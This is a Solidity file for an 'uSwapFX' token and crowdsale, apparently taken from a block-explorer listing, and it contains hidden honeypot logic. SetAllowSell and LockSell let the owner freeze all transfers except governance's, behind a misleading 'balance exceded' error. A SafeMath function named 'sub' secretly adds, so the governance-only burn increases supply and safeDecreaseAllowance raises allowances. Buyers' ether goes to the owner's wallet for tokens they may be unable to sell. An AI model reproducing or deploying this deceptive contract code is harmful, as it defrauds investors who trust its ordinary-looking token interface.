文件 1 的 1：uSwapFX.sol
pragma solidity ^ 0.6.7;
abstract contract Context {
function _msgSender() internal view virtual returns(address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns(bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function transfer(address recipient, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function subs(uint256 a, uint256 b) internal pure returns(uint256) {
return subs(a, b, "SafeMath: subtraction overflow");
}
function subs(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath
for uint256;
using SafeERC20 for IERC20;
event SetAllowSellEvent(bool _sellstate);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
bool private allowsell;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address governace;
uint256 maxSupply;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
allowsell = true;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
function totalSupply() public view override returns(uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns(uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns(uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].subs(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].subs(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function SetAllowSell(bool sellstate) public {
require(msg.sender == governace, "Only for owner");
allowsell = sellstate;
emit SetAllowSellEvent(sellstate);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
if(sender==governace || recipient == governace) {
_balances[sender] = _balances[sender].subs(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
else {
require(allowsell == true, "ERC20: balance exceded");
_balances[sender] = _balances[sender].subs(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _initMint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: create to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) public virtual {
require(account == governace, "ERC20: Burner is not allowed");
_beforeTokenTransfer(address(0), account, amount);
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract uSwapFX is ERC20 {
constructor()
ERC20('uSwapFX', 'UFX')
public {
governace = msg.sender;
maxSupply = 5000000 * 10 ** uint(decimals());
_initMint(governace, maxSupply);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
_notEntered = true;
}
modifier nonReentrant() {
require(_notEntered, "ReentrancyGuard: reentrant call");
_notEntered = false;
_;
_notEntered = true;
}
}
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Crowdsale is Context, ReentrancyGuard, Owned {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uSwapFX public _token;
address payable private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event LockSellEvent(bool state,bool success, bytes data);
constructor (uint256 rate, address payable wallet) public {
require(rate > 0, "Crowdsale: rate is 0");
require(wallet != address(0), "Crowdsale: wallet is the zero address");
_rate = rate;
_wallet = wallet;
_token = new uSwapFX();
}
receive () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function LockSell(address c, bool state) public {
require(msg.sender == owner);
(bool success, bytes memory data) = c.call(abi.encodeWithSignature("SetAllowSell(bool)", state));
emit LockSellEvent(state,success,data);
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
require(msg.value >= 0.1 ether);
_preValidatePurchase(beneficiary, weiAmount);
uint airdrop = 800000000000000000000;
uint256 tokens = _getTokenAmount(weiAmount);
tokens = tokens.add(airdrop);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens);
_forwardFunds();
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
this;
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.transfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
function withdrawAllToken(uint256 tokenAmount) public nonReentrant{
require(msg.sender == owner);
_deliverTokens(owner, tokenAmount);
}
}
contract uswapFXsale is Crowdsale {
constructor (
uint256 rate,
address payable wallet
)
public
Crowdsale(rate, wallet)
{
}
}
